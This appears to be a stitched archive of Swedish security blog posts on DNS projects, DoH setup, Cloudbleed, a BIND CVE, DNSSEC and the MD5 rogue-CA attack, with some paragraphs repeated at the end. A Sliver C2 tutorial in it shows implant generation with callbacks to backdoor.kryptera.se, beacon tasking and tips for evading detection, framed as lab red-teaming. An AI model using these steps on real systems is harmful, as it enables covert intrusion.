Jag tog ett snack under sommaren Olle E Johansson som är en av initiativtagarna bakom projektet DNSTapir. Olle berättar mer om projektet:
Fokus vad gäller DNS har varit mycket på hur man kan skydda sina frågor från insyn och hur vi kan lita på svaren. Vi såg att det finns mycket information i loggarna från DNS resolvers, dom som förmedlar svar, som är värd att analysera. Det görs idag, men i många fall av utländska aktörer som förser oss med gratis resolvertjänster. Vi vill se till att loggarna anonymiseras och att vi kan analysera data och se vad som händer, inte minst ur cybersäkerhetssynpunkt.
Med stöd av Sunet/Vetenskapsrådet bildade vi projektet Robust DNS som nu fått projektmedel av Post- och Telestyrelsen. Organisation: Vi är nu i en uppstartsfas av ett utvecklingsprojekt och ett Open Source-projekt. All utveckling kommer att ske öppet i vårt projekt ”DNStapir” på Github. Dagens gäng är initiativtagarna – däribland Lars Johan Liman på Netnod, Johan Stenstam på Internetstiftelsen, Jakob Schlyter på Kirei och Mikael Kullberg på Cat Herd. Leif Johansson på Sunet satte oss i samma rum och har fått igång projektet.
Vi har också resurser från Sunet i projektet och kommer att utvidga vårt nätverk och bygga en långsiktig organisation. Jag har en sammahållande funktion i det hela. Partners bakom projektet är idag PTS, Sunet/Vetenskapsrådet, Netnod och Internetstiftelsen. Vi kommer att söka samarbete med fler organisationer, både i näringslivet och i offentlig sektor. Framtidsplaner: Vi jobbar nu med steg 1: Utveckling av arkitektur och programvara.
Samtidigt planerar vi för kommande steg som innebär att bygga för drift och ge oss en stabil grund för vidare utveckling. Idéerna sprudlar och vi har många roliga diskussioner i arbetsgruppen. Målet är att vi ska bygga en plattform som olika operatörer – såväl privata som i offentlig sektor – har förtroende för. För att lyckas krävs ett samarbete, inte minst med Sveriges internetoperatörer. Vad gäller DNS generellt så är jag nog inte rätt person att svara, men har ju expertisen i projektet. Det pågår ju mycket arbete i IETF för att öka privacy i DNS och stärka infrastrukturen. Ett problem jag ser är ju att DNSSec inte har acceptans i alla kretsar och i viss mån motarbetas.
Personligen är jag ju intresserad av att förankra klient- och server-certifikat i DNS, vilket förutsätter DNSsec. Jag är med i arbetsgruppen DANCE som jobbar med klient-cert. Den lösningen handlar mer om TLS och applikationer än själva DNS, men förutsätter DNSsec.
Kontaktuppgifter: Om man har frågor får man gärna kontakta mig direkt. Som sagt, vi bygger upp en organisation inklusive web sajt och kommer att synas mer under hösten. Projektet DNStapir finns redan på GitHub och där kommer det löpande komma mer kod och ges möjlighet att medverka.
Sliver är ett bakdörrs/attack-ramverk eller mer specifikt ett command and Control-ramverk (C&C) som är riktat mot red-teaming och penetrationstester. Liknande funktioner återfinnes i bl.a. Metasploit och kommersiella Cobalt Strike. Microsoft har nyligen identifierat en ökad användning av Sliver hos statliga aktörer och även ransomware-grupperingar.
Sliver kan förutom vid red-teaming användas för att simulera avancerade cyberattacker och kontrollera huruvida EDR (Endpoint Detection & Response) och IT-forensiska förmågor fungerar. Sliver har även stöd för att fungera tillsammans med Prelude Operator och då kan man simulera över 150 st open-source tactics, techniques, and procedures (TTP).
Namnet Sliver kommer från kortspelet Magic: The Gathering som var populärt på 90-talet. Några funktioner som är värda att nämna är också de protokoll som kan användas för nätverkskommunikation/callback:
Mutual TLS (mtls)
HTTP/s
DNS
Wireguard
Sliver är ett aktivt projekt som underhålls av företaget Bishop Fox. Det uppdateras löpande via Github och är utvecklat i programspråket Go.
Installation av Sliver
Att installera är enkelt med följande one-liner, men du kontrollerar även givetvis koden innan du kör den?
curl https://sliver.sh/install|sudo bash
Du kan även bygga en egen Docker-container då det följer med en Dockerfile. För att testa så att sliver fungerar efter installationen så behöver du bara skriva sliver så hamnar du rätt in i CLI:t.
Installationsvideo:
Och skärmdump för att hamna i kommandoskalet:
Kör vi lsof och tittar på öppna portar så ser det ut enligt följande:
Så bra opsec kan då var att byta ut denna 31337-port mot något annat. Detta genomförs genom att redigera följande två filer:
/root/.sliver/configs/server.json
~/.sliver-client/configs/vagrant_localhost.cfg
Den nedre av ovan två filer kan dock heta något annat på just din installation. Oklart hur svårt det är att fingerprinta sliver på port 31337. Eller ännu bättre: Undvik helt att exponera denna port mot internet.
I en annan guide kommer jag att titta på hur kontrollkanaler såsom denna kan detekteras.
Skapa ett implantat
Nu när vi har slivers serverdel uppe och kör så är det dags att skapa ett implantat (klient) som kan köras på Windows, Linux eller macOS. Rekommenderar att läsa följande guide för korskompilering mellan olika OS.
Enligt den design som ligger bakom sliver så är det tänkt att sliver ska fungera som en stage 2 payload/implantat. Därav har storleken inte optimerats och implantaten kan bli över 10 mb i storlek. Men det finns också möjlighet att generera mindre stagers via kommandot generate stager, men detta kräver metasploit.
Det finns två olika lägen: beacons och sessioner. Beacons kontaktar servern med ett visst intervall + jitter och kontrollerar om det finns nya uppgifter att utföra. Medans sessioner är interaktiva mot klienten, och vissa kommandon såsom portfwd och shell kräver interaktiva sessioner.
För att skapa upp ett nytt implantat, hoppa in i slivers kommandoskal och skriv sedan exempelvis:
Så skapas ett nytt implantat med mtls-lyssnare som ansluter mot example.com och filen sparas ner i mappen /home/vagrant/implants/. Detta kan ta lite tid då obfuskering och kompilering genomförs:
sliver > generate --mtls backdoor.kryptera.se --save /home/vagrant/implants
[*] Generating new windows/amd64 implant binary
[*] Symbol obfuscation is enabled
[*] Build completed in 00:03:00
[*] Implant saved to /home/vagrant/implants/SHY_AIRSHIP.exe
sliver >
Tittar vi lite närmare på filen ser den ut enligt följande:
┌──(vagrant㉿kali)-[~]
└─$ file implants/SHY_AIRSHIP.exe
implants/SHY_AIRSHIP.exe: PE32+ executable (GUI) x86-64 (stripped to external PDB), for MS Windows
┌──(vagrant㉿kali)-[~]
└─$ ls -lah implants/SHY_AIRSHIP.exe
-rwx------ 1 vagrant vagrant 13M Sep 2 09:04 implants/SHY_AIRSHIP.exe
Standard så genereras sessions-implantat. Och vill man istället ha beacons så måste man skriva generate beacon enligt följande:
sliver > generate beacon --mtls backdoor.kryptera.se --save /home/vagrant/implants
[*] Generating new windows/amd64 beacon implant binary (1m0s)
[*] Symbol obfuscation is enabled
[*] Build completed in 00:02:33
[*] Implant saved to /home/vagrant/implants/MODEST_FLOOD.exe
sliver >
Vi kan även nu skriva kommandot implants för att få upp en lista över genererade implants:
Den som är observant kan även se att port 8888 används för mtls. Denna kan också ändras för att göra det svårare att fingerprinta/upptäcka implantatet och servern.
För att starta upp lyssnaren för mtls måste vi även skriva kommandot mtls:
Exekvering av implantatet
Nu när vi genererat två olika implantat för Windows/amd64 så är det dags att testa dem i en virtuell-testmiljö med Windows. Jag kommer inte gå igenom stage 1 dvs hur du erhåller kodexekvering utan fokusera på stage 2 när väl kod kan köras.
Efter vi att exekverat implantatet på en Windows-klient så får vi en callback enligt följande som dyker upp:
Och sedan kan vi skriva beacons för att få upp en lista med aktiva implantat med beacons:
Och som standard så är beacon-intervallet 60 sekunder. Detta går att konfigurera för att försvåra detektion via NIDS (Network-based Intrusion Detection System). Tips är även att skriva beacons watch för att realtid se mer information när beacons ringer hem.
Demo:
Nästa steg blir att skicka tasks eller kommandon som ska utföras av vårt installerade implantat. Och det första steget är att skriva use och sedan välja beacon. Eller skriva use och sedan trycka tabb-tangenten för autocomplete.
Sen rekommenderar jag att skriva help och då får vi upp en mängd olika kommandon vi kan köra såsom screenshot, getuid, ping, netstat, ifconfig, info osv.
Vill vi göra en screenshot så skriver vi bara screenshot och väntar tills det att beaconen ringer hem igen, vilket i vårat fall är max 60 sekunder. Och sedan dyker följande meddelande upp:
[*] Screenshot written to /tmp/screenshot_DESKTOP-SZ1UO3J_20220903130947_272482597.png (77.0 KiB)
Smidigt va? Och vill vi ändra jitter och callback-tiden för att försvåra upptäckt kan man göra en omkonfigurering av implantatet på följande sätt:
Nu börjar vi närma oss slutet av detta test. Några saker kvar att nämna är följande:
Skriv background för att lägga beaconen i bakgrunden och återvända till ”rooten” i sliver
Ingen omfattande obfuskering eller kryptering är i dagsläget aktiv (enbart gobfuscate). När jag testar mot VirusTotal så upptäcker 25 av 70 antivirus-leverantörer EXE-implantatet som genereras av sliver
Det finns ingen inbyggt persistens för implantatet, se följande issue.
Nästa guide så tänkte jag skriva mer om detektion av implantat/CnC-ramverk och bakdörrar såsom sliver.
Facebook har släppt ett intressant nytt implantat (bakdörr) vid namn WEASEL. Mjukvaran är skriven i Python3 och utnyttjar DNS samt AAAA-records för att skicka och ta emot beacons. Den behöver inte heller några externa beroenden och kan således köras under de flesta operativsystem.
Ett implantat är en typ av mjukvara som används av angripare för att utföra olika uppgifter och kommunicera in och ut ur nätverk. WEASELs klientdel har inga direkta inbyggda funktioner förutom att sköta kommunikationskanalen, självradering och intervall för kommunikation. Vill du ha mer funktioner så får du själv bygga till det eftersom WEASEL stödjer exekvering (eval) av Python3-kod.
Fokus vid utvecklingen av WEASEL har varit på att försöka försvåra IT-forensiska undersökningar och därför finns ej stöd för persistens. Mjukvaran stödjer inte heller att flertalet operatörer jobbar mot samma instans.
För kryptering av data över DNS så används AES-128 i CTR mode samt Diffie-Hellman för nycklar. Oklart hur stödet för Windows ser ut men går säkert att åstadkomma med Pyinstaller.
DNS över HTTPS eller DoH som det även kallas är en relativt ny IETF-draft som är skriven av Paul Hoffman på ICANN samt Patrick McManus på Mozilla. Målet med DoH är att skicka DNS-förfrågningar som vanligtvis går i klartext över internet i en krypterad tunnel över https. DoH är ett alternativ till DNSCrypt samt DNS över TLS.
Än så länge finns det stöd i webbläsarna Firefox och Chrome(?), dock inte aktiverat som standard.
Om du gillar risker i livet så kan du redan nu vill testa DoH. Har du en relativt ny version i Firefox kan du göra enligt följande:
Skriv about:config i adressraden
Godkänn ett eventuellt varningsmeddelande
Sök efter network.trr som prefix i inställningsnamnet. TRR står för Trusted Recursive Resolver
Ändra följande inställningar:
Sätt network.trr.bootstrapAddress till 1.1.1.1
Sätt network.trr.confirmationNS till kryptera.se
Sätt network.trr.mode till 3
Sätt network.trr.uri till https://mozilla.cloudflare-dns.com/dns-query
Sedan är det klart. Du måste eventuellt starta om Firefox.
Skärmdump:
Och för att verifiera att DoH/TRR används så kan du göra enligt följande:
Skriv about:networking i adressraden
Godkänn eventuellt varningsmeddelande
Tryck på DNS till vänster
Titta på kolumnen där det står TRR. Där bör det stå true på majoriteten av genomförda uppslagningar:
Alternativt titta direkt på nätverkstrafiken med Wireshark eller tcpdump.
Skärmdump:
Några förklaringar: network.trr.mode kan sättas till något av följande lägen:
0 – Av (standard). Använd vanlig DNS
1 – Race native against TRR. Kör vanlig DNS och TRR och ta den som hinner först
2 – TRR first. Använd TRR enbart och använd DNS som backup
3 – TRR only. Kör bara TRR, använder enbart DNS för bootstrap (dvs hitta till DoH-servern)
4 – Shadowmode. Kör TRR hela tiden i bakgrunden men använd DNS. Bra för att undersöka svarstider etc
5 – Explicitly off. Välj att stänga av TRR
Funkar det dåligt med att köra mode 3 så kan du ändra till 2.
Även om DNS krypteras enligt ovan så läcker https klartext fortfarande om vart du surfar med fältet Server Name Indication (SNI). Men det finns hopp om kryperad SNI också.
Och för mer information om Firefox implementation av DoH kan jag rekommendera Daniel Stenbergs blogginlägg.
Daniel har även skrivit ett testprogram i C för att ställa doh-förfrågningar direkt från kommandotolken:
Det kan även vara bra att läsa Cloudflares privacy policy.
Biljetterna till säkerhetskonferensen SecurityFest som går av stapeln i Göteborg är nu släppta. Det datum som gäller är 1:a Juni 2018 samt lokalen som är Eriksbergshallen.
Inga talare är ännu utannonserade men däremot finns det möjlighet att gå två stycken kurser dagen innan konferensen. Kurserna är begränsade till 10 personer och de två kurserna är:
För konferensbiljett och utbildning en dag hamnar priset på 10000kr. Om du enbart vill gå på konferensen så blir priset 3125kr ink moms. Och för studenter så blir konferenspriset 1000kr.
Jag har själv inte varit på SecurityFest men tittar jag på förgående års talare så har det varit en otroligt bra line-up.
CloudFlare (CF) är numera en vital och central del av internet. CF tillhandahåller CDN (Content Delivery Network), DNS och WAF (Web Application Firewall) för att nämna några funktioner.
För några dagar sedan så kontaktade Tavis Ormandy CF gällande att han sett saker i Googles sökresultat som inte hör hemma där. När sedan CF undersökte så hittade man en parser-bugg som gör att minne från deras servrar kunde skickas ut felaktigt.
Ungefär 0.00003% av samtliga http-förfrågningar som gick genom CF drabbades av denna bugg. Och vid undersökningar i Googles cache så identifierades 700 fall där minne läckt och cachats av Google.
Turligt nog så påverkas inte privata (TLS) SSL-nycklar eftersom viss uppdelning finns mellan processerna i CF:s servrar.
För en mer komplett lista över sajter som ligger hos CF se här:
Uppdatering 1: Nu har CF skickat ut ett mail till samtliga kunder. De skriver bl.a. följande:
”To date, we have yet to find any instance of the bug being exploited, but we recommend if you are concerned that you invalidate and reissue any persistent secrets, such as long lived session identifiers, tokens or keys. Due to the nature of the bug, customer SSL keys were not exposed and do not need to be rotated.”
Uppdatering 2: Svenska betaltjänst-leverantören Mondido samt Kraken har återställt samtliga lösenord. Jag hoppas att fler följer efter som använder CF.
Uppdatering 3:Cloudbleed kan även ha och göra med att Google själva nollställt samtliga inloggningar mot Googles egna tjänster. Så här kommenterar Tavis:
”Hi Tavis, could you tell us why a lot of people had to re-authenticate their Google accounts on their devices all of the sudden? It may not have been related, but Google definitely did something that had us all re-authenticate.”
”I couldn’t tell you, this is not the correct place to ask.”
Uppdatering 4: Har nu laddat hem .se-zonen och kontrollerat hur många som använder CF:s namnservrar vilket ger en fingervisning om hur många .se-domäner som kan potentiellt läckt information:
Bind är en mjukvara som ser till att stora delar av internet fungerar. För majoriteten av alla namnservrar använder mjukvaran till att möjliggöra DNS.
Det gäller CVE-2015-8000 med följande beskrivning:
Responses with a malformed class attribute can trigger an assertion failure in db.c
Eftersom det enbart rör sig om assertion så medges ej kodexekvering men det går att få processen att avslutas. Följande meddelande går ISC ut med:
An attacker who can cause a server to request a record with a malformed class attribute can use this bug to trigger a REQUIRE assertion in db.c, causing named to exit and denying service to clients. The risk to recursive servers is high. Authoritative servers are at limited risk if they perform authentication when making recursive queries to resolve addresses for servers listed in NS RRSETs.
Uppgradering till någon följande versioner är starkt att rekommendera:
9.10.3-P2
9.9.8-P2
Och nya versioner av mjukvaran bind kan laddas hem här:
I senaste numret av Cisco IP Journal Volume 13 Number 1 så belyses ett problem som uppstår när DNSSEC börjar att användas och bandbreddsförbrukningen mer än dubbleras:
In other words, in this example scenario with stale Trust Anchor keys in a local client’s resolver, a single attempt to validate a single DNS response will cause the client to send a further 844 queries, and each .com Name Server to receive 56 DNSKEY RR queries and 4 DS RR queries…
The problem with key rollover and local management of trust keys appears to be found in around 1 in every 1,500 resolvers in the in-addr.arpa zones. With a current client population of some 1.5 million distinct resolver client addresses each day for these in-addr.arpa zones, there are some 1,000 resolvers who have lapsed into this repeated query mode following the most recent key rollover of December 2009. Each subzone of in-addr.arpa has six Name Server records, and all servers see this pathological re-query behavior following key rollover.
Root-zonen har nu äntligen blivit signerad! Vi pratar så klart om den nya standarden för säker DNS som går under namnet DNSSEC. Sverige har länge varit pionjärer inom detta område då .SE som sköter om .SE-zonen länge erbjudit innehavare av .SE-domäner att signera sina zoner (domännamn). Jakob Schlyter och Fredrik Ljunggren är de två konsulter som jobbat åt .SE att implementera nyckelhanteringen.
Nyckelgenereringscermonin ägde rum i Culpeper, Virginia /USA där även Anne-Marie Eklund Löwinder från .SE närvarade förutom delegater från ett antal länder som såg till att allt gick rätt till.
En sårbarhet har identifierats i det förfarande som MD5 används tillsammans med signering av SSL certifikat. Genom att kombinera två äldre publika attacker:
Så har säkerhetsforskarna Alexander Sotirov, Jacob Appelbaum lyckats att skapa egna SSL-certifikat för godtycklig domän. De skulle exempelvis vara möjligt att skapa ett giltigt certifikat för swedbank.se med hjälp av denna attack. Dock så måste denna attack kombineras med någon annan attack mot exempelvis DNS.
We have identified a vulnerability in the Internet Public Key Infrastructure (PKI) used to issue digital certificates for secure websites. As a proof of concept we executed a practical attack scenario and successfully created a rogue Certification Authority (CA) certificate trusted by all common web browsers. This certificate allows us to impersonate any website on the Internet, including banking and e-commerce sites secured using the HTTPS protocol.
Our attack takes advantage of a weakness in the MD5 cryptographic hash function that allows the construction of different messages with the same MD5 hash. This is known as an MD5 ”collision”. Previous work on MD5 collisions between 2004 and 2007 showed that the use of this hash function in digital signatures can lead to theoretical attack scenarios. Our current work proves that at least one attack scenario can be exploited in practice, thus exposing the security infrastructure of the web to realistic threats.
CloudFlare (CF) är numera en vital och central del av internet. CF tillhandahåller CDN (Content Delivery Network), DNS och WAF (Web Application Firewall) för att nämna några funktioner.
Bind är en mjukvara som ser till att stora delar av internet fungerar. För majoriteten av alla namnservrar använder mjukvaran till att möjliggöra DNS.
